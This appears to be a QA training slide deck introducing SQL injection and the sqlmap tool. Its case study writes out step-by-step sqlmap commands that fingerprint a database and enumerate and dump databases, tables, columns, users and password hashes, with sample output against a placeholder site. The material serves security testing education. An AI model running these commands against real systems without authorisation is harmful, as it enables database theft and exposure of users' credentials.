SQLMAP is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

1. SQLMAP
SQL INJECTION
AUTOMATION TESTING TOOL
Pinaki mohapatra
QA @Mindfire Solutions

2. Roadmap

SQL Injection

SQLMAP

Installation Procedure

Case study (A Partical demonstration
using some predefined command that
supports SQLMAP tool)

3. SQL INJECTION

SQL injection is a code injection
technique, used to attack data driven
applications, in which malicious SQL
statements are inserted into an entry
field for execution (e.g. to dump the
database contents to the attacker).

A attacker or malicious user could provide
unexpected inputs to the application that
are then used to frame and execute SQL
statements on the database.

4. Cause
The following things might result from SQL injection:

The user could log in to the application as another user, even
as an administrator.

The user could view private information belonging to other
users e.g. details of other users’ profiles, their transaction
details etc.

The user could change application configuration information
and the data of the other users.

The user could modify the structure of the database; even
delete tables in the application database.

The user could take control of the database server and
execute commands on it at will.

5. SQLMAP
Sqlmap is an open source command-line automatic
SQL injection tool developed in Python. Its goal is
to detect and take advantage of SQL injection
vulnerabilities on web applications. Once it detects
one or more SQL injections on the target host, the
user can then choose among a variety of options to
perform an extensive back-end database
management system fingerprint, retrieve DBMS
user session and other DB related information like
databases, tables, columns, user credentails, there
privileges or in simply we can say it expose the
entire data that are present in DBMS.

6. SQLMAP
Installation Procedure

Pre-requisites to run sqlmap;
Python 2.7.x and 3.3.x (Recommended by users)
http://www.python.org/download/

Download SQLMAP;
http://sourceforge.net/projects/sqlmapwin/?
source=navbar

Reference;
https://github.com/sqlmapproject/sqlmap/wiki/Usag
e

7. SQLMAP: Finding !!
Syntax Format:
sqlmap.py -u “<Target url>” (e.g
http://www.test.com/index.php/id=5 )
or
sqlmap.py -u “http://www.test.com/index.php/id=5”
--dbs
Default behavior;

Test all GET and/or POST Parameters, for all
sqlmap options or commands for all databases.

Yes it may take a long time for executing
commands.

8. SQLMAP: Finding !!
Vebosity :
Option: -v: This option can be used to set the verbosity level of
output messages. There exist seven levels of verbosity. The default
level is 1 in which information, warning, error, critical messages
and Python tracebacks (if any occur) are displayed.
0: Show only Python tracebacks, error and critical messages.
1: Show also information and warning messages.
2: Show also debug messages.
3: Show also payloads injected.
4: Show also HTTP requests.
5: Show also HTTP responses' headers.
6: Show also HTTP responses' page content.

9. SQLMAP: Enumeration (I)

Objective
Get/Retrieve data from DBMS tables

What can you get :
--current-db : Extact current application DB in use
--current-user : Expose current DBMS user in use
--users : Expose or list out all the users from DB
--passwords : Lists all DBMS users, password hashes (sqlmap
will automatically try to crack the hashes with a dictionary
attack)

10. SQLMAP: Enumeration (I)

What can you get :
--privileges : List user privileges
--dbs : Lists all the databases
--tables -D <Database name> : List all the table from a
specific database
--columns -T<Table name>-D<Database name> : List all the
columns from a specific table under a database
--dump (-D,-T,-C can be used to select what data to dump):
Dump data from database/table/column.

11. CASE STUDY
Pratical Demonstration

12. STEP 1
Syntax: sqlmap.py -u "<Target URL>"
Objective: This is a simple command which checks the input parameters to find if
they are vulnerable to sql injection or not. For this sqlmap sends different kinds
of sql injection payloads to the input parameter and checks the output. In the
process sqlmap is also able to identify the remote system os, database name and
version.
Example: sqlmap.py -u "http://www.test.com/index.php?id=10"
Result:
C:UserspinakimDesktopsqlmapsqlmap>sqlmap.py
-u"http://www.test.com/web/prod_detail.php?ID=216"
sqlmap/0.9-dev - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
[*] starting at: 11:23:29
[11:23:29] [INFO] using
'C:UserspinakimDesktopsqlmapsqlmapoutputwww.test.comsession' as
session file
[11:23:29] [INFO] resuming match ratio '0.9' from session file

13. [11:23:29] [INFO] resuming injection parameter 'ID' from session file
[11:23:29] [INFO] resuming injection type 'numeric' from session file
[11:23:29] [INFO] resuming 0 number of parenthesis from session file
[11:23:29] [INFO] resuming back-end DBMS 'mysql 5' from session file
[11:23:29] [INFO] resuming back-end DBMS operating system 'None' from session
fi
le
[11:23:29] [INFO] resuming back-end DBMS operating system 'None' from session
fi
le
[11:23:29] [INFO] testing connection to the target url
[11:23:32] [INFO] testing for parenthesis on injectable parameter
[11:23:32] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5
[*] shutting down at: 11:23:32

14. STEP 2
Syntax: sqlmap.py -u "<Target URL>" --dbs
Objective: It list down the databases if the target URL is vulnerable to sql injection.
Example: sqlmap.py -u "http://www.test.com/index.php?id=10" --dbs
Result:
[11:32:17] [INFO] fetching database names
[11:32:17] [INFO] fetching number of databases
[11:32:17] [INFO] read from file 'C:UserspinakimDesktopsqlmapsqlmapoutput
www.test.comsession': 2
[11:32:17] [INFO] read from file 'C:UserspinakimDesktopsqlmapsqlmapoutput
www.test.comsession': information_schema
[11:32:17] [INFO] read from file 'C:UserspinakimDesktopsqlmapsqlmapoutput
www.test.comsession': testingpa
available databases [2]:
[*] information_schema
[*] testingpa

15. STEP 3
Syntax: sqlmap.py -u "<Target URL>" --tables -D <Database name>
Objective: It find the list of tables that exist for the specified Database.
Example: sqlmap.py -u "http://www.test.com/index.php?id=10" --tables -D TestDB
Result:
web application technology: Apache, PHP 5.4.4
back-end DBMS: MySQL >= 5.0.0
[10:34:37] [INFO] fetching tables for database 'testingpa'
[10:34:37] [INFO] fetching number of tables for database 'testingpa'
[10:34:37] [INFO] retrieved: 36
[10:34:59] [INFO] retrieved: reg_cat
[10:37:33] [INFO] retrieved: reg_section

16. [10:44:46] [INFO] retrieved: admin_right
[10:47:35] [INFO] retrieved: admin_user
[10:50:20] [INFO] retrieved: new_cat
[10:53:03] [INFO] retrieved: new_image
[10:56:20] [INFO] retrieved: new_section
[11:00:11] [INFO] retrieved: ave_config
[11:02:50] [INFO] retrieved: ave_sections
[11:06:06] [INFO] retrieved: download_new_cat
[11:09:17] [INFO] retrieved: audio_cat
[11:11:37] [INFO] retrieved: audio_image
[11:14:22] [INFO] retrieved: audio_section
.
.
[12:33:11] [INFO] retrieved: vendor_section
Database: testingqa
[36 tables]

17. +-----------------------+
| reg_cat |
| reg_section |
| admin_group |
| admin_right |
| admin_user |
| new_cat |
| new_image |
| new_section |
| ave_config |
| ave_sections |
| download_new_cat |
| audio_cat |
| audio_image |
| audio_section |
| video_audio_cat |
| video_audio_section |
| linking_config |
| linking_section |
| test_cat |

18. | test_image |
| test_section |
| test_reg |
| test_videos |
| miscellanesous_test |
| miscellanesous_image |
| miscellanesous_section |
| newsfuse_config |
| newsfuse_section |
| newsfuse_section |
| promo_reg_cat |
| promo_image |
| promo_section |
| promo_test |
| promo_videos |
| test_reg_section |
| vendor_section |
+-----------------------+
[12:36:46] [INFO] Fetched data logged to text files under 'C:UserspinakimDesk
topsqlmapsqlmapoutputwww.test.com'
[*] shutting down at: 12:36:46

19. STEP 4
Syntax: sqlmap.py -u "<Target URL>" --columns -D <Database name> -T <Table
name>
Objective: It find the list of columns that exist for the specified tables under the
Database.
Example: sqlmap.py -u "http://www.test.com/index.php?id=10" –columns -D
TestDB -T Users
Result:
web application technology: Apache, PHP 5.4.4
back-end DBMS: MySQL 5
[10:46:43] [INFO] fetching columns for table 'req_section' on database 'testingpa'
[10:46:43] [INFO] fetching number of columns for table 'reg_section' on datab
ase 'testingpa'
[10:46:43] [INFO] retrieved: 5
[10:46:56] [INFO] retrieved: reg_id
[10:49:13] [INFO] retrieved: int(11)

20. [10:50:52] [INFO] retrieved: reg_url
[10:53:06] [INFO] retrieved: varchar(255)
[10:55:53] [INFO] retrieved: reg_redirect
[10:59:07] [INFO] retrieved: varchar(255)
[11:01:42] [INFO] retrieved: reg_active
[11:04:30] [INFO] retrieved: int(11)
[11:06:03] [INFO] retrieved: reg_cat_id
[11:07:27] [INFO] retrieved: int(11)
Database: testingpa
Table: reg_section
[5 columns]

21. +-----------------+------------------+
| Column | Type |
+-----------------+------------------+
| reg_active | int(11) |
| reg_id | int(11) |
| reg_redirect| varchar(255) |
| reg_url | varchar(255) |
| reg_cat_id | int(11) |
+-----------------+------------------+
[11:09:08] [INFO] Fetched data logged to text files under 'C:UserspinakimDesk
topsqlmapsqlmapoutputwww.test.com'
[*] shutting down at: 11:09:08

22. STEP 5
Syntax: sqlmap.py -u "<Target URL>" --dump -D <Database Name> -T <Table
Name>
Objective: Now lets comes to the most interesting part, of extracting the data from
the table. The below command will retrieve or simply dump the data of the
particular table.
Example: sqlmap.py -u "http://www.test.com/index.php?id=10" --dump -D TestDB
-T users
Result:
[13:15:46] [INFO] fetching entries for table 'ave_config' on database 'testingpa'
[13:15:46] [INFO] fetching number of entries for table 'ave_config' on database
'testingpa'
[13:15:46] [INFO] retrieved: 1
[13:15:59] [INFO] retrieved: 1
[13:16:34] [INFO] retrieved:
[13:16:49] [INFO] retrieved: info@test.com

23. [13:22:18] [INFO] retrieved: mike@test.com
[13:27:47] [INFO] retrieved: Testing property
[13:32:49] [INFO] retrieved: CMS
Database: testingpa
Table: ave_config
[1 entry]
+-----------+---------------+------------------------+-------------------------+-----------------------+-------------+
|config_id |site_email_cc|site_email_from |site_email_to |site_owner |site_title |
+-----------+---------------+------------------------+-------------------------+-----------------------+-------------+
| 1 | NULL |info@test.com |mike@test.com |Testing property | CMS |
+-----------+---------------+------------------------+-------------------------+-----------------------+-------------+
[13:33:51] [INFO] Table 'testingpa.ave_config' dumped to CSV file 'C:Userspi
nakimDesktopsqlmapsqlmapoutputwww.test.comdumptestingpaave_co
nfig.csv'
[13:33:51] [INFO] Fetched data logged to text files under 'C:UserspinakimDesk
topsqlmapsqlmapoutputwww.test.com'
[*] shutting down at: 13:33:51

24. Other Related Command
1. To find out more information about the remote system database use the option
"-b". It will try to find the exact banner of the database server.
Example: sqlmap.py -u "http://www.test.com/index.php?id=10" -b
Result:
[11:44:40] [INFO] fetching banner
[11:44:40] [INFO] the back-end DBMS operating system is None
banner: '5.1.67-0+test1'
[11:44:40] [INFO] Fetched data logged to text files under 'C:UserspinakimDesk
topsqlmapsqlmapoutputwww.test.com'
2. The next command will fetch the list of users and passwords.
Example: sqlmap.py -u "http://www.test.com/index.php?id=10" --users
--passwords --privileges
Result:

25. [11:53:23] [INFO] fetching database users
[11:53:23] [INFO] fetching number of database users
[11:53:23] [INFO] read from file 'C:UserspinakimDesktopsqlmapsqlmapoutput
www.test.comsession': 1
[11:53:23] [INFO] read from file 'C:UserspinakimDesktopsqlmapsqlmapoutput
www.test.comsession': 'testingpa'@'%'
database management system users [1]:
[*] 'testingpa'@'%'
[11:53:23] [INFO] fetching database users password hashes
[11:53:23] [INFO] fetching number of password hashes for user 'testingpa'
[11:53:23] [INFO] read from file 'C:UserspinakimDesktopsqlmapsqlmapoutput
www.test.comsession':
[11:53:23] [INFO] read from file 'C:UserspinakimDesktopsqlmapsqlmapoutput
www.test.comsession':
[11:53:23] [INFO] retrieved:
[11:53:27] [WARNING] unable to retrieve the number of password hashes for user '
testingpa'
[11:53:27] [ERROR] unable to retrieve the password hashes for the database users

26. Other Related Command
3. For getting the current user & current database information
Example: sqlmap.py -u "http://www.test.com/index.php?id=10" --current-user
--is-dba --current-db --thread=10
Result:
[11:57:30] [INFO] fetching current user
[11:57:30] [INFO] retrieving the length of query output
[11:57:30] [INFO] retrieved: 10
[11:59:52] [INFO] retrieved: testingpa@%
current user: 'testingpa@%'
[11:59:52] [INFO] fetching current database
[11:59:52] [INFO] retrieving the length of query output
[11:59:52] [INFO] retrieved: 8
[12:00:58] [INFO] retrieved: testingpa
current database: 'testingpa'
[12:00:58] [INFO] testing if current user is DBA
[12:00:58] [INFO] retrieving the length of query output

27. Other Related Command
[12:00:58] [INFO] retrieved:
[12:01:06] [INFO] retrieved:
current user is DBA: 'False'
[12:01:08] [INFO] Fetched data logged to text files under 'C:UserspinakimDesk
topsqlmapsqlmapoutputwww.test.com'
4. Run some arbitrary sql command
Example: sqlmap.py -u "http://www.test.com/index.php?id=10" -–sql-
query="SELECT * FROM <table name>"

28. References
https://github.com/sqlmapproject/sqlmap/wiki/Introduction
https://github.com/sqlmapproject/sqlmap
https://github.com/sqlmapproject/sqlmap/wiki/Usage
http://www.youtube.com/watch?v=4PIk26rfmzQ
http://egodox.blogspot.in/2013/04/hack-website-using-sqlmap-sql-injection.html
http://www.binarytides.com/sqlmap-hacking-tutorial/

29. Thank you !!!
www.mindfiresolutions.com